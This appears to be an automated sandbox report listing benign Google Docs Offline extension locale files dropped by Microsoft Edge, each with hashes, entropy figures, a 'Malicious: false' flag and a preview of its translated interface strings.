SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\fr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.622066056638277
Encrypted:	false
SSDEEP:	24:1HAdy42ArMdsH50Jd6Z1PCBolXAJ+GgNHp0X16M1J1:EyfArMS2Jd6Z1PCBolX2+vNmX16Y1
MD5:	A58C0EEBD5DC6BB5D91DAF923BD3A2AA
SHA1:	F169870EEED333363950D0BCD5A46D712231E2AE
SHA-256:	0518287950A8B010FFC8D52554EB82E5D93B6C3571823B7CECA898906C11ABCC
SHA-512:	B04AFD61DE490BC838354E8DC6C22BE5C7AC6E55386FFF78489031ACBE2DBF1EAA2652366F7A1E62CE87CFCCB75576DA3B2645FEA1645B0ECEB38B1FA3A409E8
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour pouvoir utiliser Google.Docs sans connexion Internet, acc.dez aux param.tres de la page d'accueil de Google.Docs et activez la synchronisation hors connexion lors de votre prochaine connexion . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez quand m.me modifier les fichiers disponibles ou cr.er des fichiers.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez des documents, feuilles de calcul et pr.sentations, sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Docs hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": "R.digez des documents, modifiez-les et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\fr_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	972
Entropy (8bit):	4.621319511196614
Encrypted:	false
SSDEEP:	24:1HAdyg2pwbv1V8Cd61PC/vT2fg3YHDyM1J1:EyHpwbpd61C/72Y3YOY1
MD5:	6CAC04BDCC09034981B4AB567B00C296
SHA1:	84F4D0E89E30ED7B7ACD7644E4867FFDB346D2A5
SHA-256:	4CAA46656ECC46A420AA98D3307731E84F5AC1A89111D2E808A228C436D83834
SHA-512:	160590B6EC3DCF48F3EA7A5BAA11A8F6FA4131059469623E00AD273606B468B3A6E56D199E97DAA0ECB6C526260EBAE008570223F2822811F441D1C900DC33D6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CR.ER".. },.. "explanationofflinedisabled": {.. "message": "Vous .tes hors connexion. Pour utiliser Google.Documents sans connexion Internet, acc.dez aux param.tres sur la page d'accueil Google.Documents et activez la synchronisation hors ligne la prochaine fois que vous .tes connect. . Internet.".. },.. "explanationofflineenabled": {.. "message": "Vous .tes hors connexion, mais vous pouvez toujours modifier les fichiers disponibles ou en cr.er.".. },.. "extdesc": {.. "message": "Modifiez, cr.ez et consultez vos documents, vos feuilles de calcul et vos pr.sentations, le tout sans acc.s . Internet.".. },.. "extname": {.. "message": "Google.Documents hors connexion".. },.. "learnmore": {.. "message": "En savoir plus".. },.. "popuphelptext": {.. "message": ".crivez, modifiez et collaborez o. que vous soyez, avec ou sans connexion Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\gl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	990
Entropy (8bit):	4.497202347098541
Encrypted:	false
SSDEEP:	12:1HASvggECBxNbWVqMjlMgaPLqXPhTth0CBxebWbMRCSUCjAKFCSIj0tR7tCBhP1l:1HACzWsMlajIhJhHKWbFKFC0tR8oNK5
MD5:	6BAAFEE2F718BEFBC7CD58A04CCC6C92
SHA1:	CE0BDDDA2FA1F0AD222B604C13FF116CBB6D02CF
SHA-256:	0CF098DFE5BBB46FC0132B3CF0C54B06B4D2C8390D847EE2A65D20F9B7480F4C
SHA-512:	3DA23E74CD6CF9C0E2A0C4DBA60301281D362FB0A2A908F39A55ABDCA4CC69AD55638C63CC3BEFD44DC032F9CBB9E2FDC1B4C4ABE292917DF8272BA25B82AF20
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est.s sen conexi.n. Para utilizar Documentos de Google sen conexi.n a Internet, accede .s opci.ns de configuraci.n na p.xina de inicio de Documentos de Google e activa a sincronizaci.n sen conexi.n a pr.xima vez que esteas conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "Est.s sen conexi.n. A.nda podes editar os ficheiros dispo.ibles ou crear outros novos.".. },.. "extdesc": {.. "message": "Modifica, crea e consulta os teus documentos, follas de c.lculo e presentaci.ns sen necesidade de acceder a Internet.".. },.. "extname": {.. "message": "Documentos de Google sen conexi.n".. },.. "learnmore": {.. "message": "M.is informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, edita e colabora esteas onde esteas, tanto se tes conexi.n a Internet como se non a tes.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\gu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	4.294833932445159
Encrypted:	false
SSDEEP:	24:1HA3k3FzEVeXWuvLujNzAK11RiqRC2sA0O3cEiZ7dPRFFOPtZdK0A41yG3BczKT3:Q4pE4rCjNjw6/0y+5j8ZHA4PBSKr
MD5:	BC7E1D09028B085B74CB4E04D8A90814
SHA1:	E28B2919F000B41B41209E56B7BF3A4448456CFE
SHA-256:	FE8218DF25DB54E633927C4A1640B1A41B8E6CB3360FA386B5382F833B0B237C
SHA-512:	040A8267D67DB05BBAA52F1FAC3460F58D35C5B73AA76BBF17FA78ACC6D3BFB796A870DD44638F9AC3967E35217578A20D6F0B975CEEEEDBADFC9F65BE7E72C9
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .....".. },.. "explanationofflinedisabled": {.. "message": "... ...... ... ........ ....... ... Google .......... ..... .... ...., ... .... .... ...... ........ .... ...... ... ...... Google ........ ...... .. ........ .. ... ... ...... ....... .... ....".. },.. "explanationofflineenabled": {.. "message": "... ...... .., ..... ... ... .. ...... ..... ....... ... ... .. .... ... ..... ... ...".. },.. "extdesc": {.. "message": "..... ........., ..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\hi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1672
Entropy (8bit):	4.314484457325167
Encrypted:	false
SSDEEP:	48:46G2+ymELbLNzGVx/hXdDtxSRhqv7Qm6/7Lm:4GbxzGVzXdDtx+qzU/7C
MD5:	98A7FC3E2E05AFFFC1CFE4A029F47476
SHA1:	A17E077D6E6BA1D8A90C1F3FAF25D37B0FF5A6AD
SHA-256:	D2D1AFA224CDA388FF1DC8FAC24CDA228D7CE09DE5D375947D7207FA4A6C4F8D
SHA-512:	457E295C760ABFD29FC6BBBB7FC7D4959287BCA7FB0E3E99EB834087D17EED331DEF18138838D35C48C6DDC8A0134AFFFF1A5A24033F9B5607B355D3D48FDF88
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... .....".. },.. "explanationofflinedisabled": {.. "message": ".. ...... .... ....... ....... .. .... Google ........ .. ..... .... .. ..., .... ... ....... .. ...... .... .. Google ........ .. ........ .. ...... ... .... .. ...... ....... .... .....".. },.. "explanationofflineenabled": {.. "message": ".. ...... ..., ..... .. .. .. ...... ...... ..... .. .... ... .. .. ...... ... .... ....".. },.. "extdesc": {.. "message": ".... .... ....... ...... ..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\hr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	935
Entropy (8bit):	4.6369398601609735
Encrypted:	false
SSDEEP:	24:1HA7sR5k/I+UX/hrcySxG1fIZ3tp/S/d6Gpb+D:YsE/I+UX/hVSxQ03f/Sj+D
MD5:	25CDFF9D60C5FC4740A48EF9804BF5C7
SHA1:	4FADECC52FB43AEC084DF9FF86D2D465FBEBCDC0
SHA-256:	73E6E246CEEAB9875625CD4889FBF931F93B7B9DEAA11288AE1A0F8A6E311E76
SHA-512:	EF00B08496427FEB5A6B9FB3FE2E5404525BE7C329D9DD2A417480637FD91885837D134A26980DCF9F61E463E6CB68F09A24402805807E656AF16B116A75E02C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZRADI NOVI".. },.. "explanationofflinedisabled": {.. "message": "Vi ste izvan mre.e. Da biste koristili Google dokumente bez internetske veze, idite na postavke na po.etnoj stranici Google dokumenata i uklju.ite izvanmre.nu sinkronizaciju sljede.i put kada se pove.ete s internetom.".. },.. "explanationofflineenabled": {.. "message": "Vi ste izvan mre.e, no i dalje mo.ete ure.ivati dostupne datoteke i izra.ivati nove.".. },.. "extdesc": {.. "message": "Uredite, izradite i pregledajte dokumente, prora.unske tablice i prezentacije . sve bez pristupa internetu.".. },.. "extname": {.. "message": "Google dokumenti izvanmre.no".. },.. "learnmore": {.. "message": "Saznajte vi.e".. },.. "popuphelptext": {.. "message": "Pi.ite, ure.ujte i sura.ujte gdje god se nalazili, povezani s internetom ili izvanmre.no.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\hu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1065
Entropy (8bit):	4.816501737523951
Encrypted:	false
SSDEEP:	24:1HA6J54gEYwFFMxv4gvyB9FzmxlsN147g/zJcYwJgrus4QY2jom:NJ54gEYwUmgKHFzmsG7izJcYOgKgYjm
MD5:	8930A51E3ACE3DD897C9E61A2AEA1D02
SHA1:	4108506500C68C054BA03310C49FA5B8EE246EA4
SHA-256:	958C0F664FCA20855FA84293566B2DDB7F297185619143457D6479E6AC81D240
SHA-512:	126B80CD3428C0BC459EEAAFCBE4B9FDE2541A57F19F3EC7346BAF449F36DC073A9CF015594A57203255941551B25F6FAA6D2C73C57C44725F563883FF902606
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".J L.TREHOZ.SA".. },.. "explanationofflinedisabled": {.. "message": "Jelenleg offline .llapotban van. Ha a Google Dokumentumokat internetkapcsolat n.lk.l szeretn. haszn.lni, a legk.zelebbi internethaszn.lata sor.n nyissa meg a Google Dokumentumok kezd.oldal.n tal.lhat. be.ll.t.sokat, .s tiltsa le az offline szinkroniz.l.s be.ll.t.st.".. },.. "explanationofflineenabled": {.. "message": "Offline .llapotban van, de az el.rhet. f.jlokat .gy is szerkesztheti, valamint l.trehozhat .jakat.".. },.. "extdesc": {.. "message": "Szerkesszen, hozzon l.tre .s tekintsen meg dokumentumokat, t.bl.zatokat .s prezent.ci.kat . ak.r internetkapcsolat n.lk.l is.".. },.. "extname": {.. "message": "Google Dokumentumok Offline".. },.. "learnmore": {.. "message": "Tov.bbi inform.ci.".. },.. "popuphelptext": {.. "message": ".rjon, szerkesszen .s dolgozzon egy.tt m.sokkal

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\hy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2771
Entropy (8bit):	3.7629875118570055
Encrypted:	false
SSDEEP:	48:Y0Fx+eiYZBZ7K1ZZ/5QQxTuDLoFZaIZSK7lq0iC0mlMO6M3ih1oAgC:lF2BTz6N/
MD5:	55DE859AD778E0AA9D950EF505B29DA9
SHA1:	4479BE637A50C9EE8A2F7690AD362A6A8FFC59B2
SHA-256:	0B16E3F8BD904A767284345AE86A0A9927C47AFE89E05EA2B13AD80009BDF9E4
SHA-512:	EDAB2FCC14CABB6D116E9C2907B42CFBC34F1D9035F43E454F1F4D1F3774C100CBADF6B4C81B025810ED90FA91C22F1AEFE83056E4543D92527E4FE81C7889A8
Malicious:	false
Preview:	{"createnew":{"message":"\u054d\u054f\u0535\u0542\u053e\u0535\u053c \u0546\u0548\u0550"},"explanationofflinedisabled":{"message":"Google \u0553\u0561\u057d\u057f\u0561\u0569\u0572\u0569\u0565\u0580\u0568 \u0576\u0561\u0587 \u0561\u0576\u0581\u0561\u0576\u0581 \u057c\u0565\u056a\u056b\u0574\u0578\u0582\u0574 \u0585\u0563\u057f\u0561\u0563\u0578\u0580\u056e\u0565\u056c\u0578\u0582 \u0570\u0561\u0574\u0561\u0580 \u0574\u056b\u0561\u0581\u0565\u0584 \u0570\u0561\u0574\u0561\u0581\u0561\u0576\u0581\u056b\u0576, \u0562\u0561\u0581\u0565\u0584 \u056e\u0561\u057c\u0561\u0575\u0578\u0582\u0569\u0575\u0561\u0576 \u0563\u056c\u056d\u0561\u057e\u0578\u0580 \u0567\u057b\u0568, \u0561\u0576\u0581\u0565\u0584 \u056f\u0561\u0580\u0563\u0561\u057e\u0578\u0580\u0578\u0582\u0574\u0576\u0565\u0580 \u0587 \u0574\u056b\u0561\u0581\u0580\u0565\u0584 \u0561\u0576\u0581\u0561\u0576\u0581 \u0570\u0561\u0574\u0561\u056a\u0561\u0574\u0561\u0581\u0578\u0582\u0574\u0568:"},"explanationofflineenabled":{"message":"\u

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\id\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	858
Entropy (8bit):	4.474411340525479
Encrypted:	false
SSDEEP:	12:1HASvgJX4CBxNpXemNOAJRFqjRpCBxedIdjTi92OvbCSUuoi01uRwCBhUuvz1thK:1HARXzhXemNOQWGcEoeH1eXJNvT2
MD5:	34D6EE258AF9429465AE6A078C2FB1F5
SHA1:	612CAE151984449A4346A66C0A0DF4235D64D932
SHA-256:	E3C86DDD2EFEBE88EED8484765A9868202546149753E03A61EB7C28FD62CFCA1
SHA-512:	20427807B64A0F79A6349F8A923152D9647DA95C05DE19AD3A4BF7DB817E25227F3B99307C8745DD323A6591B515221BD2F1E92B6F1A1783BDFA7142E84601B1
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BARU".. },.. "explanationofflinedisabled": {.. "message": "Anda sedang offline. Untuk menggunakan Google Dokumen tanpa koneksi internet, buka setelan di beranda Google Dokumen dan aktifkan sinkronisasi offline saat terhubung ke internet.".. },.. "explanationofflineenabled": {.. "message": "Anda sedang offline, namun Anda masih dapat mengedit file yang tersedia atau membuat file baru.".. },.. "extdesc": {.. "message": "Edit, buat, dan lihat dokumen, spreadsheet, dan presentasi . tanpa perlu akses internet.".. },.. "extname": {.. "message": "Google Dokumen Offline".. },.. "learnmore": {.. "message": "Pelajari Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit, dan gabungkan di mana saja, dengan atau tanpa koneksi internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\is\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	954
Entropy (8bit):	4.6457079159286545
Encrypted:	false
SSDEEP:	12:YGXU2rOcxGe+J97M9TP2DBX9tMfxqbTMvOfWWgdraqlifVpm0Ekf95Mw89KkJ+je:YwBrD2g2DBLMfFuWvdpY94viDO+uh
MD5:	CAEB37F451B5B5E9F5EB2E7E7F46E2D7
SHA1:	F917F9EAE268A385A10DB3E19E3CC3ACED56D02E
SHA-256:	943E61988C859BB088F548889F0449885525DD660626A89BA67B2C94CFBFBB1B
SHA-512:	A55DEC2404E1D7FA5A05475284CBECC2A6208730F09A227D75FDD4AC82CE50F3751C89DC687C14B91950F9AA85503BD6BF705113F2F1D478E728DF64D476A9EE
Malicious:	false
Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir1196_75236368\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
